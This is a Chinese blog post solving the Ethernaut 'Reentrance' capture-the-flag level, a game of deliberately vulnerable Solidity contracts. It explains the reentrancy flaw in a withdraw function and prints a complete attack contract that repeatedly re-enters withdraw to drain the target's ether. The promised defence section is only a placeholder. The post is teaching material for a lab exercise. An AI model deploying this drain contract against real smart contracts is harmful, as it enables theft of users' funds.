# 智能合约黑客攻击 Ethernaut: 10. Reentrance **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-26 **URL:** https://paragraph.com/@leekdev/ethernaut-10-reentrance ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Reentrance 合约中的ether全部转出来。Hack思路这是一个类似于钱包的合约,可以向里面存取 ether,转ether时会有一个强制的回调hook机制,而且这个钱包的扣余额时在转账之前的,所以可以进入无限 hook 回调导致ether被偷走。 function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { // 提现,会触发 receive 方法 (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } // 扣除余额 balances[msg.sender] -= _amount; } } 攻击合约代码interface IReentrance { function donate(address _to) external payable; function withdraw(uint256 _amount) external; } contract ReentranceHack { IReentrance public exploitInst; // 第一次的余额,后面每次循环提前金额都不能超过它 uint256 private initialDeposit; constructor(address _target) { exploitInst = IReentrance(_target); } function attack() external payable { require(msg.value >= 0.001 ether, "send some more ether"); initialDeposit = msg.value; exploitInst.donate{ value: initialDeposit }(address(this)); _withdraw(); } receive() external payable { _withdraw(); } function _withdraw() private { // 最开始存的钱,转账不能超过这个数,重入会被拦截 uint256 toWithdraw = initialDeposit; // Reentrance 余额小于 每次重入转账的金额,调整金额吧把剩下的转出来 uint256 challengeBalance = address(exploitInst).balance; toWithdraw = toWithdraw > challengeBalance ? challengeBalance : toWithdraw; if (toWithdraw > 0) { exploitInst.withdraw(toWithdraw); } } } Hack案例非常之多,后面可能出一个系列来讲以前智能合约写的有多烂。防范思路….参考资料…. ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter